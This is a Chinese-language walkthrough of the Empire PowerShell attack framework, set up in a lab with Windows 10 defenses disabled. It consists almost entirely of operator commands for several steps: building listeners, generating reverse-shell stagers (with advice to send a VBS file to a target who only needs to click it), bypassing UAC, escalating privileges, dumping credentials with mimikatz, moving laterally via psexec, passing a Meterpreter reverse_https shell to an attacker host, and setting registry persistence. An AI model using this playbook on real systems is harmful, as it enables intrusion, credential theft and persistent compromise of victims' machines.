参考文献:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4158.html
http://www.freebuf.com/articles/network/175097.html
https://www.tuicool.com/articles/aQRJnqr
https://www.anquanke.com/post/id/87328
https://www.anquanke.com/post/id/87333
环境
ubuntu16.04
win10(所有防御都没关)
empire简介
Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,包括了从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。
安装
git clone https://github.com/EmpireProject/Empire.git
cd Empire
cd setup
./install.sh
./reset.sh
设置监听
lsof -i:80 //查看端口
./empire //打开Empire工具
listeners //建立一个监听
uselistener //设置采用何种模式,空格加双击Tab键可以看到一共有9种模式
uselistener http //设置http监听模式
set Name test //设置相应参数
set Host xxx.xxx.xxx.xxx
execute //运行
生成木马
设置完监听,接着生成木马,输入usestager
以后按下空格然后在按下tab键,可以看到总共是26个模块。其中multi为通用模块、osx为mac操作系统,还有linux与windows模块。 生成的文件类型有.dll,bat,vbs等。
1.launcher反弹shell代理
launcher python test
生成的内容直接贴到其他linux系统中
launcher powershell test
生成的内容直接贴到其他windows系统中(Username带有*
的是已提权成功的代理)2.vbs反弹shell代理
(Empire: listeners) > usestager windows/launcher_vbs
(Empire: stager/windows/launcher_vbs) > set Listener test
(Empire: stager/windows/launcher_vbs) > execute
生成的vbs文件可以通过xftp下载,并发给你的攻击目标,只要对方一点,就可以拿到目标的shell了
PS:其他的操作类似就不再一一记录了
连接代理及基本使用
agents //回连的靶机
interact UIK16xxx //interact命令跟上刚刚上线的主机Name的名,交互
shell net user //使用cmd命令的时候,要使用`shell+命令`的格式
list stale //查看已丢失的代理
remove stale //移除已丢失的代理
sc //目标截图
Download //下载文件
upload //上传文件
(Empire: F76ADxxx) > usemodule
code_execution #代码执行
collection #信息收集模块、屏幕截图、键盘记录 、剪贴板记录等
credentials #密码凭据的获取和转储
exfiltration #指定ip进行端口扫描
lateral_movement #横向渗透模块
management #用来执行些系统设置,和邮件信息的收集
persistence #权限维持工具
privesc #权限提升
recon #侦察
situational_awareness #评估主机运行环境,网络运行环境
trollsploit #恶作剧
- UAC提权模块
这个需要给电脑上发文件,但是直接被查杀了
(Empire: agents) > interact A9U38xxx
(Empire: A9U38xxx) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > set Listener test
(Empire: powershell/privesc/bypassuac) > execute
(Empire: A9U38xxx) > usemodule privesc/ms16-032
(Empire: powershell/privesc/ms16-032) > set Listener test
(Empire: powershell/privesc/ms16-032) > execute
(Empire: A9U38xxx) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > execute
- mimikatz模块(只能在windows的环境上使用)
mimikatz //需要对带有*的权限才能获取系统账号密码
creds //查看所有hash值包括明文,数据库中写入的各类凭据
creds export /root/1.csv //导出hash凭证到指定的路径的格式
(Empire: A9U38xxx) > usemodule privesc/powerup/allchecks
(Empire: powershell/privesc/powerup/allchecks) > execute
(Empire: S4DU3VSRKR3U1DDF) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > info
(Empire: lateral_movement/invoke_psexec) > set Listener test
(Empire: lateral_movement/invoke_psexec) > set ComputerName DESKTOP-14(`agents`命令下的`Username`的`\`前的名字)
(Empire: lateral_movement/invoke_psexec) > execute
Empire: lateral_movement/invoke_psexec) > agents
- Empire和msf的联动
利用Empire派生一个meterpreter的shell回来
在msf下设置监听,通过https的方式反向连接。
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 443
exploit
同样empire也建立个监听
(Empire: agents) > interact A9U38xxx
(Empire: A9U38xxx) > usemodule code_execution/invoke_shellcode
(Empire: powershell/code_execution/invoke_shellcode) > set Lport 443
(Empire: powershell/code_execution/invoke_shellcode) > set Lhost xxx.xxx.xxx.xxx
(Empire: powershell/code_execution/invoke_shellcode) > execute
(Empire: 3K5AExxx) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
在windows注册表regedit HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
可以看到